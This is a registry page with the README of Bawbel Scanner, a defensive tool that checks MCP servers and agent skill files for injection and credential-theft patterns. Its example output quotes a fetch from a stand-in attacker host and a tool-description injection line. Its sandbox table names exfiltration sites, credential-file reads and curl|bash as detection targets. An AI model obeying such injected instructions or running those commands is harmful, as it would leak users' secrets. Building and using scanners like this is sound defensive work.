Bawbel Scanner

bawbel/bawbel-scanner
Community

Install to Claude Code

This server doesn't publish a one-line install command. Follow the setup in the source repository.

Summary

Security scanner for MCP servers and skill files. Detects AVE vulnerabilities before production.

README.md

<div align="center">

Bawbel Scanner

<!-- mcp-name: io.github.bawbel/scanner -->

The only open-source scanner that produces OWASP AIVSS scores for MCP servers and skill files. Never executes code.

![PyPI version](https://pypi.org/project/bawbel-scanner/) ![PyPI downloads](https://pepy.tech/project/bawbel-scanner) ![Pepy total downloads](https://pepy.tech/project/bawbel-scanner) ![License](LICENSE) ![Python](https://pypi.org/project/bawbel-scanner/) ![AIVSS aligned](https://aivss.owasp.org) ![AVE Records](https://github.com/bawbel/ave) ![MCP Registry](https://registry.modelcontextprotocol.io)

<!-- ![Star History Chart](https://star-history.com/#bawbel/scanner&Date) -->

</div>

---

Bawbel never executes your MCP servers.

pip install "bawbel-scanner[all]"
bawbel scan ./skills/        # scan skill files
bawbel ssc https://server    # scan MCP server without starting it

<img src="https://raw.githubusercontent.com/bawbel/scanner/HEAD/docs/demo.svg" width="100%" alt="Bawbel Scanner demo">

---

Commands

| Command | Description | |---|---| | bawbel scan <path> | Scan a skill file or directory for AVE vulnerabilities. Supports --recursive, --format text\|json\|sarif, --fail-on-severity, --no-ignore, --watch | | bawbel report <path> | Scan a component and show a full remediation guide with fix guidance per finding | | bawbel creds <path> | Focused scan — hardcoded credentials and secret exposure only | | bawbel chain <path> | Focused scan — unsafe agent delegation chains only | | bawbel ssc <url> | Fetch and scan an MCP server-card for AVE vulnerabilities without starting the server | | bawbel scan-server-card <url> | Alias for ssc | | bawbel conform <target> | Score an MCP server manifest against the MCP specification (A+ to F grade) | | bawbel scan-conformance <target> | Alias for conform | | bawbel accept <id> <file> | Mark a finding as a false positive or accepted risk — inserts a justified suppression comment with reviewer and optional expiry | | bawbel pin <path> | Hash skill files and save to .bawbel-pins.json for rug pull detection | | bawbel check-pins <path> | Check skill files for drift against .bawbel-pins.json | | bawbel cp <path> | Alias for check-pins | | bawbel init | Initialise Bawbel Scanner in a project — generates .bawbelignore and bawbel.yml | | bawbel version | Show version and detection engine status |

---

Why Bawbel

| | Bawbel | Snyk agent-scan | ClawGuard | Cisco DefenseClaw | |---|---|---|---|---| | Executes MCP servers during scan | Never | Yes | No | Sandboxed | | Open vulnerability database | Yes (48 records, public API) | No | No | No | | OWASP AIVSS v0.8 scores | Yes | No | No | No | | Toxic flow detection | Yes (12 chains) | No | No | No | | Conformance grading (A+ to F) | Yes | No | No | No | | Git-committed rug pull detection | Yes | Local only | No | No | | Justified suppression with expiry | Yes | No | No | No | | License | Apache 2.0 | Apache 2.0 | MIT | Proprietary |

---

How it works

System overview

How a scan flows from your file to an AIVSS-scored finding:

  your file
      |
      v
  [ Pre-processing ]
    code fence stripping
    negation context detection
      |
      v
  [ Detection engines ]  (run in parallel)
    1a  Pattern    40 regex rules, stdlib only, always on
    1b  YARA       39 binary/behavioral rules
    1c  Semgrep    41 structural rules
    2   LLM        semantic analysis via LiteLLM
    3   Sandbox    Docker behavioral sandbox
      |
      v
  [ Deduplication ]
    merge by (ave_id, line)
    pattern > yara > semgrep > llm > sandbox priority
      |
      v
  [ Toxic flow analysis ]
    map findings to capability tags
    check all pairs against 12 chain definitions
      |
      v
  [ ScanResult ]
    findings[]          active findings, sorted by severity
    suppressed_findings[]
    accepted_findings[] new in v1.2.0
    toxic_flows[]
    risk_score          max(findings, toxic_flows)
    aivss_score         OWASP AIVSS v0.8

Detection stages

Six engines run in parallel. Results merge before toxic flow analysis:

  Stage 1a   Pattern engine
             40 regex rules, no deps, < 5ms
             always active

  Stage 1b   YARA engine
             39 rules, multi-condition matching
             pip install "bawbel-scanner[yara]"

  Stage 1c   Semgrep engine
             41 structural rules, multi-line context
             pip install "bawbel-scanner[semgrep]"

  Stage 2    LLM engine
             semantic analysis, catches synonym attacks
             pip install "bawbel-scanner[llm]" + API key

  Stage 3    Sandbox engine
             dynamic behavioral analysis in Docker
             BAWBEL_SANDBOX_ENABLED=true

             +-----------+
  All  ----> | dedup     | ----> findings[]
  results    | sort      |       sorted by severity
             +-----------+
                  |
                  v
             toxic flow
             analysis

---

False positive reduction

Eight layers run automatically before a finding is reported:

  file content
      |
      v  FP-1  code fence stripping       ~60% reduction
      |         content inside ``` blanked before scan
      |
      v  FP-2  negation context           ~15% reduction
      |         "Bad example:", "Never do this:" suppresses
      |
      v  FP-3  confidence scoring         ~10% reduction
      |         docs/ examples/ paths reduce confidence
      |
      v  FP-4  LLM meta-analyzer          ~7% reduction
      |         medium-confidence findings reviewed by LLM
      |
      v  FP-5a inline bawbel-ignore       per line
      |         <!-- bawbel-ignore -->
      |
      v  FP-5b block suppression          per section
      |         <!-- bawbel-ignore-start/end -->
      |
      v  FP-5c .bawbelignore patterns     per file
      |         gitignore-style glob rules
      |
      v  FP-6  justified suppression      per finding
               requires reason + reviewer + optional expiry
               audit trail in accepted_findings[]

| Layer | Mechanism | FP reduction | |---|---|---| | FP-1 | Code fence stripping | ~60% | | FP-2 | Preceding-line negation context | ~15% | | FP-3 | Confidence scoring (path, line context) | ~10% | | FP-4 | LLM meta-analyzer (optional) | ~7% | | FP-5a | Inline <!-- bawbel-ignore --> | per-line | | FP-5b | Block suppression | per-section | | FP-5c | .bawbelignore patterns | per-file | | FP-6 | Justified suppression with audit trail | per-finding |

See Suppression Guide for full details.

---

Install

pip

pip install bawbel-scanner            # core - pattern engine only
pip install "bawbel-scanner[yara]"    # + YARA rules
pip install "bawbel-scanner[semgrep]" # + Semgrep rules
pip install "bawbel-scanner[llm]"     # + LLM semantic engine
pip install "bawbel-scanner[all]"     # everything

Requires Python 3.10+. No other system dependencies for core install.

Docker

| Image | Engines | Best for | |---|---|---| | bawbel/scanner:latest · 1.2.3 | Pattern | Lightweight CI pipelines | | bawbel/scanner:full · 1.2.3-full | Pattern + YARA | Recommended for most users |

# Scan a local directory (recommended image)
docker run --rm -v $(pwd):/scan:ro bawbel/scanner:full scan /scan --recursive

# Lightweight CI scan
docker run --rm -v $(pwd):/scan:ro bawbel/scanner:latest scan /scan --recursive

# Build with all engines
docker build --build-arg WITH_ALL=true -t bawbel/scanner:custom .

Available build args: WITH_YARA=true, WITH_SEMGREP=true, WITH_LLM=true, WITH_SANDBOX=true, WITH_ALL=true

---

Quick start

# Scan a skills directory
bawbel scan ./skills/

# Scan recursively
bawbel scan ./skills/ --recursive

# Full remediation report for one file
bawbel report ./skill.md

# Scan an MCP server manifest without starting the server
bawbel ssc https://server.example.com

# Pin skill files and detect rug pulls
bawbel pin ./skills/ && git add .bawbel-pins.json
bawbel check-pins ./skills/

Example output:

CRITICAL  AVE-2026-00001  External instruction fetch detected
          line 3  fetch("https://attacker.io/payload.md")
          AIVSS 8.0  MCP03, MCP04
          https://api.piranha.bawbel.io/records/AVE-2026-00001

HIGH      AVE-2026-00002  Tool description behavioral injection
          line 12  "IMPORTANT: before calling this tool, first..."
          AIVSS 7.3  MCP03, MCP10
          https://api.piranha.bawbel.io/records/AVE-2026-00002

Toxic flow detected  CREDENTIAL_EXFIL_CHAIN
  AVE-2026-00003 + AVE-2026-00026 combined  AIVSS 9.8 CRITICAL

2 findings  1 toxic flow  18ms

---

Suppression and false positive management

When a finding is legitimate, suppress it with a justification that creates an audit trail.

<!-- bawbel-ignore: AVE-2026-00001
     reason: Internal registry endpoint, not attacker-controlled
     reviewer: chaksaray
     reviewed: 2026-05-16
-->
fetch your instructions from https://internal.registry.io

For accepted risks with an expiry date:

<!-- bawbel-accept: AVE-2026-00047
     reason: Placeholder replaced at deploy time, not a real credential
     reviewer: chaksaray
     reviewed: 2026-05-16
     expires: 2026-08-16
-->

Or use the CLI to insert the comment directly:

bawbel accept AVE-2026-00001 ./skill.md --line 7 \
  --reason "Internal registry endpoint" \
  --type false-positive

bawbel accept AVE-2026-00047 ./skill.md --line 3 \
  --reason "Placeholder value, replaced at deploy" \
  --type accepted-risk --expires 90d

# List all accepted findings
bawbel accept --list

# Show findings expiring within 30 days (exits 1 in CI)
bawbel accept --expiring-soon --within 30

Expired accepted risks resurface automatically as active findings on the next scan.

---

Focused scans

Run a credential-only or delegation-only scan for targeted triage:

# Hardcoded credentials only
bawbel creds ./skills/ --recursive

# Unsafe agent delegation chains only
bawbel chain ./skills/ --recursive

Both commands use the same output format as bawbel scan. For a full security scan use bawbel scan.

---

AIVSS scoring

Every finding includes an OWASP AIVSS v0.8 score.

AIVSS = ((CVSS_Base + AARS) / 2) * ThM * Mitigation_Factor

AARS is the sum of 10 Agentic Risk Amplification Factors scored per the AVE record for that attack class.

{
  "rule_id": "bawbel-external-fetch",
  "ave_id": "AVE-2026-00001",
  "aivss_score": 8.0,
  "severity": "HIGH",
  "aivss": {
    "cvss_base": 8.5,
    "aars": 7.5,
    "thm": 1.0,
    "mitigation_factor": 1.0,
    "aivss_severity": "HIGH",
    "spec_version": "0.8"
  },
  "owasp_mcp": ["MCP03", "MCP04"],
  "piranha_url": "https://api.piranha.bawbel.io/records/AVE-2026-00001"
}

---

Detection engines

| Engine | What it does | Install | |---|---|---| | Pattern | 40+ regex rules mapped to AVE records | Always on | | YARA | 39 binary and behavioral YARA rules | [yara] | | Semgrep | 41 structural Semgrep rules | [semgrep] | | LLM | Semantic analysis of intent and context | [llm] | | Magika | ML-based content type verification | [all] | | Sandbox | Dynamic behavioral analysis in Docker | See below |

---

Stage 3: Behavioral sandbox

The sandbox runs your skill file inside an isolated Docker container and watches for malicious behavior at runtime — outbound connections, credential reads, shell injections, and filesystem writes that static rules cannot catch.

Image: hub.docker.com/r/bawbel/sandbox · bawbel/sandbox:latest · bawbel/sandbox:1.2.3

Requirements: Docker Desktop or Docker Engine must be running.

Enable the sandbox

BAWBEL_SANDBOX_ENABLED=true bawbel scan ./skill.md

Or add to your .env / bawbel.yml:

# bawbel.yml
sandbox:
  enabled: true

Image setup (three modes)

| BAWBEL_SANDBOX_IMAGE | What happens | |---|---| | default (recommended) | Checks local Docker cache first. If not found, pulls bawbel/sandbox:latest from Docker Hub once and caches it. Subsequent scans use the cache — no network needed. | | local | Skips Docker Hub entirely. Builds the sandbox image from the bundled Dockerfile inside the package. Use this for air-gapped or offline environments. | | <custom-image> | Uses your own image. Point to any registry: registry.company.com/bawbel/sandbox@sha256:abc123 |

First run with default: Bawbel pulls bawbel/sandbox:latest from Docker Hub automatically (~200MB, one time only). Every scan after that uses the local cache — instant, no network call.

First run with local: Bawbel builds the image from the bundled Dockerfile. Takes ~60 seconds on first run, cached afterwards.

# Recommended: default (auto-pull, cached)
BAWBEL_SANDBOX_ENABLED=true bawbel scan ./skill.md

# Offline / air-gapped: build locally
BAWBEL_SANDBOX_ENABLED=true BAWBEL_SANDBOX_IMAGE=local bawbel scan ./skill.md

# Custom enterprise image
BAWBEL_SANDBOX_ENABLED=true \
  BAWBEL_SANDBOX_IMAGE=registry.company.com/bawbel/sandbox:v1 \
  bawbel scan ./skill.md

What the sandbox detects

| Category | Examples | |---|---| | Network egress | Connections to pastebin.com, rentry.co, ngrok tunnels, webhook capture sites | | Credential access | Reads of ~/.ssh/, .env, private key files | | Filesystem writes | Writes to ~/.bashrc, ~/.zshrc, cron directories | | Process injection | curl\|bash, wget\|bash, eval(), exec(), unexpected pip install |

---

CI/CD

# .github/workflows/security.yml
- name: Bawbel scan
  uses: bawbel/scanner@v1
  with:
    path: ./skills/
    fail-on-severity: high
    format: sarif
    output: bawbel.sarif

- name: Upload to GitHub Security
  uses: github/codeql-action/upload-sarif@v3
  with:
    sarif_file: bawbel.sarif

Pre-commit:

# .pre-commit-config.yaml
repos:
  - repo: https://github.com/bawbel/scanner
    rev: v1.2.1
    hooks:
      - id: bawbel-scan
        args: [--fail-on-severity, high]

---

Output formats

bawbel scan ./skills/ --format text    # human-readable (default)
bawbel scan ./skills/ --format json    # machine-readable
bawbel scan ./skills/ --format sarif   # GitHub Security / GHAS

---

Related

| | | |---|---| | github.com/bawbel/ave | AVE vulnerability database - 48 records | | api.piranha.bawbel.io | PiranhaDB - public threat intel API | | aivss.owasp.org | OWASP AIVSS v0.8 scoring standard | | bawbel.io/docs | Full documentation |

---

Contributing

See CONTRIBUTING.md. The most impactful contribution is a new detection rule tied to an AVE record.

git clone https://github.com/bawbel/scanner
cd scanner
pip install -e ".[dev,all]"
pre-commit install
python -m pytest tests/ -v

---

<div align="center">

Apache License 2.0 - Free forever - Maintained by Bawbel

bawbel.io . @bawbel_io . bawbel.io/docs

</div>

Related MCP servers

Browse all →